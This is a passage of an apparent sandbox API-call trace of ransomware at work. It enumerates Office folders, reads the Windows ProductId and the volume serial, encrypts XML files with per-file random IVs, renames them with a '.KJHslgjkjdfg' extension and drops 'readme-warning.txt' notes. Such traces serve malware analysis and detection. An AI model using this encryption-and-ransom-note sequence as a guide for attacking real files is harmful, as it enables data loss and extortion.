dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.420] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.420] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.420] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.420] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.420] RegCloseKey (hKey=0x118) returned 0x0 [0170.420] GetProcessHeap () returned 0x2ef0000 [0170.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.420] GetProcessHeap () returned 0x2ef0000 [0170.421] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.421] GetProcessHeap () returned 0x2ef0000 [0170.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.421] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.421] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.421] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.421] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.421] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.421] GetProcessHeap () returned 0x2ef0000 [0170.421] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.421] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.421] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.421] GetProcessHeap () returned 0x2ef0000 [0170.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.421] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\readme-warning.txt") returned 107 [0170.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.422] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.424] CloseHandle (hObject=0x118) returned 1 [0170.424] GetProcessHeap () returned 0x2ef0000 [0170.424] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.424] GetProcessHeap () returned 0x2ef0000 [0170.424] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.424] GetProcessHeap () returned 0x2ef0000 [0170.424] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.424] GetProcessHeap () returned 0x2ef0000 [0170.424] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.424] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.424] GetProcessHeap () returned 0x2ef0000 [0170.424] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.425] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0170.425] GetProcessHeap () returned 0x2ef0000 [0170.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc2) returned 0x2f14588 [0170.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.426] GetProcessHeap () returned 0x2ef0000 [0170.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.426] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.426] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0170.426] GetProcessHeap () returned 0x2ef0000 [0170.426] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c4) returned 0x2f47728 [0170.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.426] GetProcessHeap () returned 0x2ef0000 [0170.427] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.427] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.427] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.427] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xe, lpOverlapped=0x0) returned 1 [0170.429] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.429] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.430] GetProcessHeap () returned 0x2ef0000 [0170.430] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.430] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.430] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.430] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.430] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.430] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.430] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.430] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.430] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.430] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.431] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.431] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.431] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5b2, lpOverlapped=0x0) returned 1 [0170.431] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5c0) returned 1 [0170.431] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.431] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5c0, lpOverlapped=0x0) returned 1 [0170.431] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.431] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.431] SetEndOfFile (hFile=0x118) returned 1 [0170.434] GetProcessHeap () returned 0x2ef0000 [0170.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.434] GetProcessHeap () returned 0x2ef0000 [0170.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.kjhslgjkjdfg")) returned 1 [0170.439] CloseHandle (hObject=0x118) returned 1 [0170.439] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0170.439] GetProcessHeap () returned 0x2ef0000 [0170.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.439] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.439] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.439] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.439] GetProcessHeap () returned 0x2ef0000 [0170.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.439] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.440] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.440] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.440] GetProcessHeap () returned 0x2ef0000 [0170.440] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.440] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.440] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.440] GetProcessHeap () returned 0x2ef0000 [0170.440] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.440] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.440] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.440] GetProcessHeap () returned 0x2ef0000 [0170.440] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.440] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.440] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.440] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.441] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.441] RegCloseKey (hKey=0x118) returned 0x0 [0170.441] GetProcessHeap () returned 0x2ef0000 [0170.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.441] GetProcessHeap () returned 0x2ef0000 [0170.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.441] GetProcessHeap () returned 0x2ef0000 [0170.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.441] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.441] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.441] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.441] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.441] GetProcessHeap () returned 0x2ef0000 [0170.442] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.442] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.442] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.442] GetProcessHeap () returned 0x2ef0000 [0170.442] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.442] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\readme-warning.txt") returned 107 [0170.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.443] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.444] CloseHandle (hObject=0x118) returned 1 [0170.445] GetProcessHeap () returned 0x2ef0000 [0170.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.445] GetProcessHeap () returned 0x2ef0000 [0170.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.445] GetProcessHeap () returned 0x2ef0000 [0170.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.445] GetProcessHeap () returned 0x2ef0000 [0170.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.445] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.445] GetProcessHeap () returned 0x2ef0000 [0170.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.445] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0170.445] GetProcessHeap () returned 0x2ef0000 [0170.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xce) returned 0x2f14588 [0170.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.446] GetProcessHeap () returned 0x2ef0000 [0170.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.446] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.446] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0170.446] GetProcessHeap () returned 0x2ef0000 [0170.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2d0) returned 0x2f47728 [0170.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.447] GetProcessHeap () returned 0x2ef0000 [0170.447] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.447] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.447] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.447] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x5, lpOverlapped=0x0) returned 1 [0170.450] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.450] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.450] GetProcessHeap () returned 0x2ef0000 [0170.450] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.450] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.450] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.450] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: 